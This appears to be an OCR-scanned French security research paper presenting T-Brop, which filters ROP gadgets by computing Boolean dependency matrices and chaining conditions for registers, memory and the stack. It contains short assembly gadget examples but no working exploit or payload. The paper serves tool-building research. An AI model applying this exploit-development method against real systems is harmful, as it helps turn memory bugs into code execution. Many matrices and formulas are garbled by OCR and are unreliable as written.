effectuée sur chaque gadget. Les plus rapides se limitent a la syntaxe : la
liste des instructions. Les plus puissants calculent une relation symbolique
entre entrées et sorties. Ces derniers sont cependant tres (trop) lents.

Nous proposons une approche intermédiaire basée sur une sémantique
imprécise : les flux explicites d’information. Cette approche permet un
filtrage plus puissant que les méthodes purement syntaxique, tout en étant
plus rapide que les approches symboliques.

Notre contribution principale est un algorithme efficace pour calculer
les relations de dépendances des entrées vers les sorties de chaque gadget,
en particulier les dépendances vers le pointeur d’instruction a la fin
du gadget, que nous appelons condition de chainage. Ces relations de
dépendances nous permettent d’évaluer la complexité des gadgets plus
pertinemment qu’avec leur seule taille, et peuvent étre exploitées pour
filtrer les gadgets plus efficacement qu’avec des expressions régulieres. Nous
décrivons également comment obtenir une approximation de I’ensemble des
dépendances atteignables par I’ensemble des ROP chains dérivables a partir
d’un ensemble donné de gadgets. Nous avons mis en ceuvre notre approche
dans I'outil libre T-Brop : https://github.com/DGA-MI-SSI/T-Brop.
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Dans le reste du papier nous commencons par présenter succinctement
les principaux outils disponibles dédiés a I’élaboration de ROP chain en
section 2. Nous faisons ensuite un rappel sur les matrices booléennes en
section 3 Nous nous en servons pour présenter le coeur théorique de notre
contribution en commengant par une analyse offrant des garanties fortes
de correction sections 4, et une autre moins conservative section 5. Nous
montrons ensuite comment utiliser ce calcul de dépendances pour consti-
tuer et interroger une base de gadgets section 6. Notre implémentation
est brievement décrite section 7 et nos premiers résultats expérimen-
taux sont rapportés section 8. Pour finir nous évoquons quelques pistes
d’améliorations et travaux futurs section 9 avant de conclure section 10.

2 Etat de ’art

L’élaboration d'une ROP chain nécessite plusieurs étapes. La premiere
consiste a lister les gadgets disponibles Pour ce faire, on commence par
identifier les branchements indirects. On remonte ensuite de quelques ins-
tructions a partir de chacun de ces branchements pour former des gadgets.
On recherche ensuite des gadgets en fonction de l'effet souhaité, pour
initialiser un contexte par exemple. La derniere étape consiste en 1’assem-
blage des gadgets sous une forme garantissant leur enchainement. Cette
derniere étape peut nécessiter une recherche de gadgets supplémentaires.

De nombreux outils sont dédiés a la réalisation de ROP chain. La
table 1 en liste quelques-uns. Pour chacun d’eux nous avons récupéré
quelques statistiques en terme de popularité et d’activité le 7 avril 2018.
La popularité n’est qu’'une mesure imprécise de la qualité ou l'intérét
d’un outil, et les dates de premier et dernier commit sur la branche
master, ou méme leur nombre, ne reflete pas nécessairement le degré
d’activité d’un projet. Par exemple, rp++ n’a connu qu’une douzaine de
commits depuis fin 2012, et pres de la moitié concerne la documentation.
Dans ce cas précis, cette faible activité s’explique par la robustesse et le
périmetre limité de 'outil. Par ailleurs, certains projets listés sont en fait
des framework intégrant une fonctionnalité d’aide a la réalisation de ROP
chain : radare2, Pwntools, PEDA, BARF, ida-sploiter. Les différentes
statistiques ne concernent pas uniquement la fonctionnalité ROP et sont
donc sur-évaluées. Angr? [30] et Metasploit® proposent également une aide
a ’élaboration de ROP chain, mais dans un projet distinct : angrop et
rex-rop_ builder (msfrop) respectivement.

4 angr, a binary analysis framework, http://angr.io/
® RAPID7 metasploit, https://www.metasploit.com/
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commit

name watch star fork|first last count URL
radare2 /R 413 7119 1421|2009 - 17775 |github.com/radare/radare2
Pwntools 247 3740 767 (2013 - 3290 |github.com/Gallopsled/pwntools
PEDA 163 2446 453 (2012 - 94 |github.com/longld/peda
ROPgadget 103 1377 333 |2011 2017 422 |github.com/JonathanSalwan/ROPgadget
BARF 69 977 1342014 - 816 |github.com/programa-stic/barf-project
rp++ 56 573 123 |2012 2017 138 |github.com/OverclOk/rp
mona 68 540 211 |2013 2017 133 |github.com/corelan/mona
Ropper 43 535 107 |2014 - 582 |github.com/sashs/Ropper
rop-tool 47 474 98 |2014 - 179 |github.com/t00sh/rop-tool
ropc 36 222 24 |2012 2013 16 |github.com/pakt/ropc
angrop 18 188 37 |2014 2017 141 |github.com/salls/angrop
universalrop 18 178 23 |2017 - 10 |github.com/kokjo/universalrop
roputils 17 156 46 |2014 2016 195 |github.com/inaz2/roputils
rop__compiler 14 145 29 |2015 2017 212 |github.com/jeffballb5/rop_compiler
ropa 3 142 26 |2017 - 271 |github.com/orppra/ropa
Xrop 10 136 35 |2014 2017 82 |github.com/acama/xrop
ROPER 12 132 19 (2016 - 326 |github.com/oblivia-simplex/roper
ida-sploiter 14 111 27 |2014 2017 10 |github.com/iphelix/ida-sploiter
ropeme 7 95 38 (2013 2016 4 |github.com/packz/ropeme
ropstone 7 79 9 |2016 2017 10 |github.com/blasty/ropstone
nrop 13 63 15 (2014 2016 126 |github.com/awailly/nrop
Agafi 16 61 19 (2014 2015 13 |github.com/CoreSecurity/Agafi
ropc-llvim 10 61 14 (2013 2013 2 |github.com/programa-stic/ropc-1lvm
DrGadget 10 46 10 |2014 2017 19 |github.com/patois/DrGadget
EasyROP 6 44 11 |2016 2017 55 |github.com/uZetta27/EasyROP
ropchain 10 43 12 |2014 2015 93 |github.com/SQLab/ropchain
rop-chainer 3 40 14 |2016 - 11 |github.com/wizh/rop-chainer
Mov2Rop 1 3 1 |2017 2017 66 |github.com/OxEval/bsc-thesis
rex-rop__builder| 37 1 0 |2011 2017 29 |github.com/rapid7/rex-rop_builder
PSHAPE N.A. N.A. N.A.|2016 2016 1 |sites.google.com/site/exploitdevpshape

Tableau 1. Quelques outils d’aide a la création de ROP-chain. Données en date du 7 avril 2018. Dans la colonne last commit, ’-’ signifie
qu’il y a eu au moins un commit sur la branche master depuis le 1 janvier 2018.
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2.1 Filtrage syntaxique

Tous ces outils permettent de lister I’ensemble des gadgets jusqu’a une
certaine taille dans un exécutable. Certains se limitent au gadgets termi-
nant par un retour de fonction, ou ne gerent pas tout le jeu d’instruction.
La limite en terme de taille s’exprime parfois en bytes ou en nombre
d’instructions. Cela peut expliquer une certaine variabilité dans le nombre
de gadgets retournés.

A partir de cette liste, 'analyste peut rechercher le gadget souhaité.
S’il n’est pas directement dans la liste des gadgets disponibles, ’analyste
aura recours a des expressions régulieres de plus en plus permissives. Par
exemple, si elle ne trouve pas directement le gadget mov rax, rbx; ret, elle
commencera par rechercher les gadgets du type :

mov rax, rbx
Lk
ret

Si cette nouvelle requéte ne permet pas de trouver le gadget souhaité,
il sera nécessaire d’étendre la recherche pour obtenir des gadgets différents
dont la sémantique reste similaire au gadget initial. Par exemple :

xchg rax, rbx push rbx
.k .k
ret pop rax
. X
ret

Afin de trouver des gadgets satisfaisant 1’effet recherché, il peut falloir
construire un nombre considérable d’expressions régulieres, ou templates
syntaxiques. Afin d’éviter de trop nombreux faux positifs, il faut potentiel-
lement écrire des templates complexes. Par exemple, le dernier template
pourrait étre raffiné pour avoir autant de push que de pop entre le push rbx
et le pop rax, et aucune modification de rax entre le pop rax et le ret.

2.2 Filtrage symbolique

Pour un filtrage plus efficace, certains outils calculent une relation symbo-
lique précise entre les sorties et les entrées de chaque gadget. La recherche
de gadgets équivalants peut se faire grace a des regles de réécriture [5],
ou de fagon plus systématique avec un solveur SMT (Satisfiability Mo-
dulo Theories [2]) comme dans le module DEPIlib 2.0 [31] du débogueur
Immunity®, OptiRop [22], nrop, BARFgadgets [12], ou PSHAPE [7].

® http://www.immunityinc.com/products/debugger/
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Ainsi, 'analyste peut trouver tous les gadgets équivalant & un gadget
donnée en effectuant une requéte SMT pour chaque gadget identifié. Cette
requéte est construite a partir des expressions symboliques représentant
la sémantique des deux gadgets comparés. Pour gagner en flexibilité,
I’équivalence n’est recherchée que pour les écritures du gadget cible.

Résoudre toutes ses requétes SMT pour chaque recherche de gadget est
tres coliteux, et parfois trop précis. En effet, quand ’analyste recherche
un mov rax, rbx, en général c’est pour initialiser le registre rax a partir
du registre contrélé rox. Dans ce cas, toute affectation de I'image de rbx

par une fonction inversible au registre rax conviendrait. Par exemple,
I'instruction 1ea rax, [rbx+1] n’est pas sémantiquement équivalente a mov
rax, rbx. Pourtant cette instruction permet de choisir arbitrairement la
valeur de rax si 'analyste controle la valeur de rbx.

Plutot que de chercher une équivalence, il est donc parfois plus utile
de chercher des dépendances. On peut les trouver facilement en cherchant
les lectures qui apparaissent dans 1’exression symbolique de ’écriture
souhaitée, apres un éventuel pré-traitement pour éviter les faux positifs.
Ici, on cherche tous les gadgets tels que I’expression de rax dépende de rbx.
C’est I'approche prise par angrop :

lea rax, [rbx+1] Stack change: 0x8

ret Changed registers: set([’rax’])
Popped registers: set ([])
Register dependencies:
rax: [rbx ()]

2.3 Classification de gadgets

On I’a vu, la recherche de gadget passe par la rédaction de templates
syntaxiques ou sémantiques qui peut étre fastidieuse et demander une
certaine expertise. Certains outils fournissent des templates pour classer
les gadgets dans des catégories simples et utiles : affectations, lecture ou
écriture en mémoire, sur la pile. ..

Ces gadgets élémentaires peuvent étre combinés, parfois automati-
quement, pour former des ROP chains élémentaires qui seront utilisées
comme des gadgets. Par exemple, si on cherche a déréférencer un registre
72 pour mettre le résultat dans r1 = [r2] et qu’aucun gadget élémentaire
ne permet de réaliser cette action, on peut chercher un gadget réalisant la
méme opération sur d’autres registres 3 = [r4], et des gadgets permettant
d’obtenir les affectations r4 = r2 et r1 = r3. En combinant ces trois
gadgets, élémentaires ou non, on obtient le déréférencement désiré.
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Ces combinaisons se font sous I’hypothése que ’analyste controle les
données pointées par le registre de pile. Il arrive que les données controlées
soient pointées par un autre registre. Il faut donc d’abord modifier le
registre de pile pour qu’il pointe vers les données controlées, c’est ce qu’on
appelle un stack pivot.

2.4 Génération de ROP chain

Si suffisamment de gadgets, ou combinaisons de gadgets, ont été trou-
vés dans chaque catégorie, certains outils, comme mona ou ROPgadget,
proposent de générer automatiquement une ROP chain particuliére : un
appel a VirtualProtect ou execve par exemple.

D’autres outils, comme Gadget Exploit Framework [24], Q [28], ropc, ou
ropc-llvm [11], sont plus ambitieux et proposent de compiler un programme
arbitraire vers une ROP chain. Cependant ces outils génerent en général des
ROP chains tres longues et ne sont que des preuves de concept utilisables
uniquement sur des exemples bien choisis.

Pour tous ces outils, la génération d’'une ROP chain est conditionnée
par le présence d’un certain nombre de gadgets prédéfinis. Une approche
exhaustive [25] permettrai la création de ROP chains dans plus de contextes
mais ’explosion combinatoire associée semble insurmontable.

2.5 Approches exotiques

Quelques outils prennent une approche différente. Plutot que de calculer
une relation symbolique pour chaque gadget, Agafi [6] exécute les gadgets
dans une machine virtuelle avec un contexte de départ bien choisi. Le
filtrage sur les gadgets se fait en vérifiant des requétes logiques sur les
états d’entrée et de sortie obtenus. Il est ainsi possible de filtrer tous les
gadgets tels que, sur la trace exécutée, rax en sortie est égal a rbx en entrée.
Agafi permet également de générer des ROP chains avec un contexte cible.

Mov2Rop [3] quant & lui se base sur M /o/Vfuscator [4] pour transformer
un shellcode arbitraire en une séquence d’instructions mov. Il ne reste plus
qu’a chercher des gadgets pour chacun des mov obtenus.

Pour finir ROPER [9] (& ne pas confondre avec Ropper) utilise la
programmation génétique pour générer des ROP chains.

2.6 Conclusion

La plupart des outils automatiques échouent s’ils ne trouvent pas de
gadgets dans les catégories dont ils ont besoin. L’analyste doit alors
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chercher lui méme des gadgets et un enchainement a partir d’un listing de
séquences d’instructions avec ou sans information symbolique.

Les outils purement syntaxique sont tres rapide mais nécessite un
travail de filtrage par expression réguliere fastidieux. Les outils symboliques
permet un filtrage plus puissant mais nécessitent un calcul symbolique
et pour certains la résolution d’un grand nombre de requétes SMT. En
partique, ils ne sont pas satisfaisants, dixit Tavis Ormandy [20,21] :

« Did OptiROP ever get released 7 I always solve these constrained
ROP problems manually because no good tools exist. »

« I know about DEPLIB, but it’s not really usable. I think I'm
just going to have to write the tool I want :( »

3 Matrices de Boole

Avant de décrire notre approche, quelques rappels sur I'algebre de Boole a
deux éléments et la manipulation de matrices sont nécessaires.

L’algebre de Boole a deux éléments peut étre définie comme l’en-
semble des deux valeurs de vérité Vrai et Fauzx, que ’on notera 1 et 0
respectivement, muni des opérateurs suivants :

— la disjonction, c’est a dire le ou logique, parfois notée V et que nous
désignerons également par +;

— la conjonction, c’est a dire le et logique, parfois notée A et que nous
désignerons également par X ;

— et la négation, dont nous n’aurons pas 'usage.

Pour les puristes : les notations + et x sont abusives car ({0,1},+, X)
n’est qu'un demi-anneau, mais elles nous permettrons de définir le produit
matriciel avec des notations plus habituelles.

Une matrice est un tableau a double entrée. Pour une matrice M,
I'entrée a la ligne 4, colonne j, est notée m; ;. Pour deux matrices A et B,
si n, le nombre de colonnes de A, est égal au nombre de lignes de B, on
définit leur produit M = AB de la facon suivante :

n—1
mij =Y kb
k=0

Nous nous intéressons en particulier aux matrices carrées (autant
de lignes que de colonnes) a valeur dans {0,1}. Ces matrices sont tres
utiles pour représenter des relations entre éléments d’'un méme ensemble.
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Une relation est un ensemble de couples, deux éléments x et y sont dit
en relation si et seulement si le couple (z,y) appartient a cet ensemble.
Nous nous en servirons pour représenter une relation de dépendance entre
registres, plus précisément la présence, ou non, d’'un flux d’information
entre une entrée et une sortie lors de I’exécution d’'un gadget. Usuellement,
ces matrices booléennes servent a représenter la présence, ou non, d’une
arréte entre deux nceuds d’un graphe : la matrice d’adjacence.” Il y a
équivalence entre matrices booléennes, graphes orientés, et relations.

Ezemple 1. Sur un ensemble a quatre éléments A, B, C, et D, la rela-
tion définie par les couples (A, B), (B,C), (C,B), et (C,D) peut étre
représentée sous forme de graphe, de matrice, ou de tableau.

OO S )

out SW@QQ
101 A
M=11 B |4 4
1 C d
D d

Les 0 sont volontairement grisés dans la représentation matricielle pour
améliorer sa lisibilité. Les étiquettes de la représentation tabulaire seront
tronquées si nécessaire par la suite.

Le produit matriciel se définit également pour les matrices booléennes.
Ici, opérateur d’addition est une disjonction, et 'opérateur produit, une
conjonction. Ainsi les éléments d’'une matrice M = AB sont définit comme
des disjonctions de conjonctions :

n—1
mij; = \/ aip A b,
k=0
Autrement dit m; ; vaut 1 si il existe k tel que a; et by ; valent tous les
deux 1. Dans le cas contraire m; ; vaut 0. Quant a la somme, elle est définie
par M = A+ B comme une disjonction composante par composante.

En considérant la matrice d’adjacence M d’un graphe : M représente
tous les chemins de longueur 1 et M* représente les chemins de longueur
exactement k. Par extension MY est la matrice identité notée I avec des
1 uniquement sur la diagonale, et représente les chemin de longueur 0.
I + M représente les chemin de longueur au plus 1.

” Nous utilisons la convention m; ; = 1 si et seulement si il existe une transition du
neeud j au nceud 4, contrairement a ce qui se fait d’habitude.
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4 Sémantique de teinte

Plutot que de se baser uniquement sur la syntaxe ou sur une sémantique
précise, symbolique, nous prenons une approche intermédiaire basée sur
une sémantique de teinte [26, 27]. L’objectif est d’étre plus rapide que
les approches symboliques et plus informatif qu’une approche purement
syntaxique pour un analyste qui cherche a étendre son influence sur 1’état
du systeme. Concretement, on teinte les registres influencés, et on propage
ensuite cette teinte avec les regles habituelles.

Plus formellement (mais pas trop), ’état e du systéme est une fonction
qui a chaque registre ou adresse mémoire associe sa valeur. Suite au
déclenchement d’une vulnérabilité, un analyste exerce une influence sur un
registre r si et seulement si il est capable de choisir la valeur du registre r,
parmi au moins deux options. Cette influence sur I’état du systéme est
représentée par un vecteur v de valeurs de vérité indiquant pour chaque
registre s’il est influencé ou non. La méme notion d’influence peut étre
définie pour la mémoire, mais oublions la pour le moment.

4.1 Matrice de dépendances

Cette notion d’influence initiale, au déclenchement de la vulnérabilité, est
secondaire, I’analyste peut choisir lui méme quels registres il estime pouvoir
influencer. Ce qui nous intéresse ici est ’évolution de cette influence.

Etant donné une séquence d’instruction s, on appelle matrice de
dépendance de s, notée My, la matrice dans ’algebre de Boole représentant
I’évolution de l'influence par s. De facon similaire a I’étude des flux
d’information (information flow [10]) ou lanalyse d’atteignabilité des
variables (reachability analysis [18]), la valeur de Mg(i, ) est égale a 1 si
et seulement si il existe deux états identiques partout sauf sur le registre
7 tels que I'application de la séquence d’instruction s mene a deux états
pour lesquels le registre i est différent. De facon équivalente, si quelque
soit I’état initial, changer la valeur du registre j en entrée ne change pas la
valeur du registre ¢ en sortie, alors j n’influence pas i, et réciproquement.
A partir d'un vecteur d’influence v, et apres la séquence d’instructions s,
on obtient le vecteur d’influence M v.

Ezxzemple 2. En se limitant aux registres raz, rbx, et rcx, une influence
initiale sur le registre rbxr uniquement est représentée par le vecteur
v= (010) . Considérons le gadget suivant et sa matrice de dépendances :
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5 & &
xchg rax, rbx 1 out &5 g? E? Q?
X0r rcx, rcx M = 1 rax J
add rcx, rax
jmp rcx 1 rbx d
rcx d

ou sous forme de graphe :

(e o))

L’influence apres I'exécution de cette séquence est donnée par le produit
Mv = (101)T, soit une influence sur rax et rcx mais pas rbr.

Le calcul de la matrice M est indécidable dans le cas général. Ici, nous
ne nous intéressons qu’a des séquences d’instructions sans structure de
contrdle, le probléeme devient alors NP-complet (voir annexe A). On ne
peut donc pas calculer M de fagon exacte en un temps raisonnable, mais on
peut facilement en calculer une approximation conservative en considérant
chaque instruction individuellement, comme les algorithmes classiques de
propagation de teinte. Cette approximation est dite conservative, car si
elle peut rajouter des influences (faux positifs), elle ne peut pas en oublier
(faux négatifs). Si M, est la matrice d'un gadget g et M,, la matrice d'une
instruction précédent g, alors M,M,, est la matrice du gadget op; g.

Ezemple 3. En reprenant la séquence d’instructions de ’exemple 2 on a :

g0: 1

jmp rcx 1

1
g0

gl: 1 1 L

add rcx, rax 1 1 = 1

jmp rcx

1 101 101
g0 add gl

g2: 1 1 1

Xor rcx, rcx 1 1 = 1

add rcx, rax

. 101 1

jmp rcx gl xor g2
g3: 1 1 !

xchg rax, rbx 1 1 =11

X0or rcx, rcx

add rcx, rax 1 g2 ! xchg 1 g3

jmp rcx
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Ainsi le calcul de M peut étre mutualisé pour les gadgets ayant un
suffixe commun. Le coiit de I'extension d’un gadget est limité au produit de
deux matrices booléennes creuses. En pratique la complexité est linéaire en
le nombre de registres suivis. On remarquera que la matrice de dépendance
d’une instruction ne modifiant pas les registres est la matrice identité.

4.2 Condition de chainage

Ces matrices de dépendances peuvent étre utilisées pour filtrer un ensemble
de gadgets en sélectionnant uniquement ceux autorisant un flux entre
deux registres précis par exemple. Une autre approche consiste a définir
un vecteur u représentant un registre cible (ou une disjonction de registres
cibles) ; a partir du vecteur d’influence v et du gadget g on peut influencer
le registre cible seulement si uTMgv est 1.

Ezemple 4. A partir de rbx et en appliquant le gadget de exemple 2
on ne peut pas influencer la valeur d’rbx en sortie (1 0), mais on peut
(peut-étre, car on calcul une approximation conservative) influencer celle
d’rcx, (00 1). En effet :

Un registre cible particulierement intéressant est le pointeur d’instruc-
tion. Si u est le vecteur dont la seule valeur a 1 correspond au pointeur
d’instruction, alors, pour un gadget g, on définit la condition de chainage
de g, notée uy", le vecteur uTMg. Par définition, ug® représente ’ensemble
des registres qui peuvent influencer la valeur du pointeur d’instruction
apres l'exécution du gadget g. Pour pouvoir chainer g avec d’autres gadgets
il faut controler au moins I'un de ces registres, et idéalement tous.

Ezemple 5. La condition de chainage du gadget de l'exemple 2 est le
vecteur (0 10), ou sous forme tabulaire :

out 5

rip |

5 & A
L
J

Ainsi, on ne pourra pas controler le chainage de ce gadget si on ne controéle
pas rbx avant son exécution.
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Cette caractérisation des gadgets par une matrice de dépendance et
une condition de chainage peut étre étendue aux séquences de gadgets.
Ainsi, si le gadget g0 est caractérisé par My et ug’, et le gadget g1 par
M et uf®, alors la matrice de dépendance de la séquence go; g1 est My Mj.
La ligne correspondant au pointeur d’instruction est u{“Mj, mais il faut
également pouvoir controler ug® pour permettre ’enchainement de ces
deux gadgets. Ainsi nous définissons la condition de chalnage de go; g1 par
u{®Mop + ug’, ou + est ici un ou logique composante par composante.

4.3 Superposition de gadgets

Outre la composition de gadgets, la matrice de dépendances se préte bien
a la superposition de gadgets, c’est a dire a ’exécution non-déterministe
d’un gadget parmi un ensemble donné.

La matrice de dépendances d’un ensemble de gadgets G est une ap-
proximation conservative de la matrice de dépendances de chacun des
gadgets de GG. Elle se calcule facilement avec la formule suivante :

Mg =Y M,
geG

M¢ représente donc ’ensemble des flux que 'on peut espérer en
exécutant un gadget de G. MJ représente les flux que I'on peut espérer en
exécutant exactement n gadget de G a la suite. Et (I + Mg)" représente
ceux que l'on peut espérer en exécutant au plus n gadget de G.

Par ailleurs, (I + Mg)™ converge rapidement, en au plus la dimension
de Mg et donc du nombre de registres suivis. Ainsi, on peut obtenir
efficacement avec une exponentiation rapide une sur-approximation de
I’ensemble des flux que 'on peut espérer avec toute ROP chain de longueur
quelconque construite avec des gadgets de GG. Si le flux qui nous intéresse
n’apparait pas dans (I + M), il est absolument inutile d’essayer de
construire une ROP chain. Il faut alors chercher d’autres gadgets.

4.4 Traitement de la mémoire

Contrairement aux registres les flux d’information impliquant la mémoire
dépendent fortement du contexte d’exécution. En effet une lecture sur
rax n’est pas une lecture sur rbx, quel que soit le contexte, mais un
déréférencement de rax peut-étre équivalent a un déréférencement de rbx
si ces deux registres pointent sur une méme case mémoire. Or dans le cadre
de la recherche de gadgets nous ne connaissons pas le contexte d’exécution.



44 T-Brop

Afin de garantir le calcul d’une approximation conservative nous devons
donc prendre en compte toutes les situations d’aliasing potentielles.
Nous traitons donc la mémoire grace a un pseudo-registre mem auquel
correspondent une ligne et une colonne dans notre matrice de dépendance.
Toute lecture de la mémoire propage ses dépendances. Toute écriture
dans la mémoire introduit de nouvelles dépendances, mais sans écraser les
anciennes : mem en sortie dépend toujours au moins de mem en entrée.

Ezemple 6. Considérons maintenant les registres rax, rbx, rcx, et mem.

N
A;«
mov [rax], rbx 1 out & &C,{;;('LQ §§
pop rcx 1 rax |4
— M=1110 rbx d
1101 rex |d 4 d
mem | J d d

Le registre rcx en sortie dépend de raz, rbx, mem, et aussi de rsp non
représenté ici pour des raisons de place. En effet, a partir d’un état du
systeme quelconque, il est possible de modifier rcx en sortie en modifiant
uniquement la valeur pointée par rsp, ou en modifiant rax ou rsp pour
qu’ils soient égaux, ou encore, s’ils sont égaux, en modifiant rbzx.

Afin d’adhérer a notre définition d’influence, nous propageons égale-
ment les dépendances liées aux registres déréférencés. Cela semble particu-
lierement 1égitime pour les lecture en ’absence de contexte précis. Apres
I’instruction mov rbx, [rax], 7bx dépend de la mémoire mais aussi de rax.
Il peut étre également utile de savoir quels registres sont déréférencés.
C’est pourquoi nous introduisons également un pseudo-registre deref qui
dépend des registres déréférencés et de lui méme. Aucun registre ne dépend
jamais de deref. Le calcul des dépendances vers deref n’est pas purement
syntaxique et suit les regles de propagation que nous venons de décrire.

Ezemple 7. Considérons maintenant les registres rax, rbx, et deref.

R
mov rax, [rbx] 1 out SINY l,Q
xchg rax, rbx M = 1 rax J
[ 1, rb
?:Z TR R 11 rbx d
drf d 4

Le registre deref en sortie ne dépend que de rbx (et deref). En effet,
lors du second déréférencement rax a la valeur de rbx en entrée.
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5 Compromis correction/utilité

Nous venons d’introduire une approche permettant de calculer efficacement
une approximation des matrices de dépendances et conditions de chainage
d’un ensemble de gadgets. Elle offre des garanties sur ’absence de faux
négatifs : aucune dépendance ne manque. Cette exigence forte de correction
nous oblige a prendre en compte toutes les situations d’aliasing potentiel
et introduit également des faux positifs, en particulier a cause de la
propagation pour toute lecture sur la mémoire des dépendances de toutes
les écritures qui la précedent.

Afin d’obtenir une vision plus réaliste des dépendances exploitables, il
nous semble légitime de relacher cette exigence de correction [16].

5.1 mem, et pep,

La premiere étape consiste a casser ce lien entre écritures et lectures sur
la mémoire. Au lieu d’un seul pseudo-registre mem, nous considérons
deux registres mem,. et mem,, représentant respectivement les lectures et
écritures sur la mémoire. Toute lecture sur la mémoire dépend de mem,,
et des éventuels registres déréférencés, et mem, ne dépend que de mem,..
Toute écriture sur la mémoire introduit une dépendance vers mem,,, et
seul mem,, dépend de mem,,.

L’analyste a acces a toutes les dépendances sauf celles passant directe-
ment par la mémoire. Ces dernieres sont toujours accessibles si besoin :
un registre qui dépend de mem,. est potentiellement influencé par toutes
les dépendances de mem,,. Cette flexibilité a un cotit car ’ordre entre
écritures et lectures est perdue. Une lecture ne dépend plus uniquement
des écritures qui la précedent mais de toutes les écritures du bloc.

Ezxzemple 8. En reprenant l’exemple 6 avec les (pseudo-)registres rax, rbz,
TCT, NeMy, €t emy,.

mov [rax], rbx out o4 iéVLQAV’éV&& S&
pop rcx rax d
ret rbx d
rcx d
m, d
m, |4 d d

Le registre rcx en sortie ne dépend plus que de mem, (et rsp non
représenté ici). L’analyste peut retrouver les dépendances potentielles en
observant la ligne correspondant a mem,, : le contenu de la mémoire, dont
dépend rcx, est potentiellement influencé par rax et rbz.
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5.2 Représentation de la pile

Séparer lectures et écritures retire également les dépendances passant par
une partie fort utile de la mémoire : la pile. Nous allons donc la traiter
différemment du reste de la mémoire.

Comme précédemment notre approche consiste a ajouter des registres :

— stackg représente le haut de la pile;

— stacky, stacks, ..., stack,, représentent les n valeurs suivantes ;

— stackynder représente les tréfonds de la pile, 'agrégat de toutes les
cellules sous stack,, et garde toujours une dépendance sur lui méme.
Plus exactement on sépare ce registre en deux, comme pour la mémoire,
en stackynder r €t stackynder w;

— on représente également les valeurs au dessus de la pile avec stack_1,
stack_a, ..., stack_.,, stackoper r €t stackoyer w-

La position dans la pile représentée par chacun de ces registres est
relative au pointeur de pile. En particulier le pointeur de pile pointe
toujours vers stackg. Lors d’un push ou d’un pop par exemple, le pointeur
de pile ne pointe pas vers un autre registre, c’est plutét la valeur de
dépendance de tous les pseudo-registres de pile qui est décalée. Ces registres
nous permettent de traiter précisément les opérations simples sur la pile,
de type push, pop, call et ret. Nous traitons également les additions et
soustractions d’une (petite) constante au pointeur de pile : la matrice de
dépendance est générée a la volée en fonction de la constante ajoutée, ou
soustraite, en gérant correctement les désalignements de pile.

Exemple 9. Pour simplifier on ne sépare pas ici la mémoire en deux. On
considere les registres rax, stackoyyer, stack_1, stackg, stacky, stacks, et
stackynder- Considérons le gadget :

push rax
ret

Chacune de ces instructions présente les dépendances suivantes :

S ]

ret 5?‘7 @§®@7 O B &Y oﬁb push rax ééy @§@%7 MM Qw“”g
rax | 4 rax |4

Sover d 4 Sover d

S—1 <J S—1 J

S0 d S0 d

S1 d S1 d

S92 d S9 d

Sund d Sund dd
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Apres un ret le haut de la pile, stacky, contient la valeur qui était
immédiatement sous l'adresse de retour, stack;, ce qui explique la dé-
pendance de stack; vers stacky. De méme, apres un push rax, la valeur
initialement en haut de la pile, stacky, se retrouve juste sous la valeur qui
vient d’étre poussée, ce qui explique la dépendance de stackq vers stack;.

La matrice de dépendance du gadget push rax, ret est, comme précé-
demment, le produit des matrices des instructions qui le compose :

1 1 1
11 1 1

1 11 11

ret push rax

Ce qui donne sous forme tabulaire :
8 v
A &y Q
I A M
rax |4

Sover d

S—1 d

S0 d

S1 d

S2 dd
Sund dd

La cellule immédiatement au-dessus de la pile dépend® de rax. Par
ailleurs, stacko, la troisieme cellule de la pile, dépend du fond de la pile
(qui dépend également de stacks). Cette interdépendance est due au fait
que stackynger €st un accumulateur. Au moment du push, stacks est poussé
dans stacky,ger. Lors du ret, la valeur en haut de stack,, e €st remontée
vers stacko. Mais stackypqger €st un accumulateur et on ne sait pas ce qu’il
y en haut, d’ou l'interdépendance. Quant a la condition de chainage, elle
est initialisée a stackq par le ret et transformée en rax par le push.

En dehors des ces opérations simples, toute modification du pointeur
de pile provoque une corruption de la pile : mem,, prend toutes les
dépendances de la pile et toutes les cellules de la pile dépendent de mem,.
et des dépendances du pointeur de pile.

Avec stackoyer, stacky, stackynder, mem, et mem,,, cela donne :

8 La conservation des valeurs stockées au-dessus de la pile n’est pas garantie, surtout
en mode noyau. Dans ce cas on n’utilisera pas les registres stack avec index négatif.
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out 5| o @“&p&& s 1
Sover d 1
S0 d 1
Sund d 1
m, d 11101
my, |4 4 4 d

Ezemple 10. Considérons le gadget :

mov rsp, rdx
push rax

pop rbx

pop rcx

ret

Notre approche calcule en particulier que rbx ne dépend que de rax, et
que rcx dépend de mem,. et rdx. Le calcul matriciel est laissé en exercice.

Contrairement a I'introduction de mem,. et mem,,, a partir de laquelle
il est possible de retrouver une approximation conservative, comme ex-
pliqué en section 5.1, certaines dépendances potentielles lié a des alias
sur la pile sont définitivement perdues. En effet, pour un registre qui
ne dépend pas directement de 1’état de la pile, on ne peut pas savoir si
ses dépendances sont passées par la pile ou non, et si elles ont pu étre
modifiées en transit.

Ezxzemple 11. Considérons le gadget suivant :

push rax

mov [rbx], rcx
pop rax

ret

Avec notre approximation de la pile, rax en sortie ne dépend que de rax
en entrée. Pourtant si au moment du déréférencement rbx pointe vers le
haut de la pile alors rax prend la valeur de rcx. D’apres notre définition
de 'influence, razx est donc influencé par rax, rbx, et rcx.

Angrop aussi ignore 'alias éventuel :

Changed registers: set([’rax’])
Popped registers: set ([])
Register move: [rax to rax, 64 bits]
Register dependencies:
rax: [rax ()]
Memory write:
address (64 bits) depends on: [’rbx’]
data (64 bits) depends on: [’rcx’]
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6 Base de gadgets

6.1 Construction

T-Brop construit une base de gadgets contenant les informations de
dépendances et les conditions de chainage. La premiere étape est classique
et consiste en la recherche de toutes les adresses correspondant a un retour
de fonction ou un saut dynamique. Ces adresses servent de point d’entrée
pour la construction des gadgets.

Comme illustré par I'exemple 3, la construction des gadgets, avec
leur matrice de dépendances et condition de chainage, se fait de maniere
itérative. Pour tout gadget en cours de construction on en insere d’abord
une copie dans notre base de gadget et on I’étend en rajoutant une
instruction au début. Pour les architectures ayant des instructions de
taille variable, plusieurs extensions sont possibles. Autant de copies que
nécessaire sont alors créées.

La plupart des approches considerent les gadgets jusqu’a une certaine
taille, en byte ou en nombre d’instructions. Au moment de ’extension
d’un gadget nous avons sa matrice de dépendance et condition de chainage.
Nous pouvons utiliser ces informations pour calculer une fonction de cott
et décider si le gadget doit étre étendu ou s’il est déja assez complexe.
Notre fonction de cotit est une combinaison linéaire du :

— taux d’augmentation du nombre de dépendances : max (0, (n — d/d)),
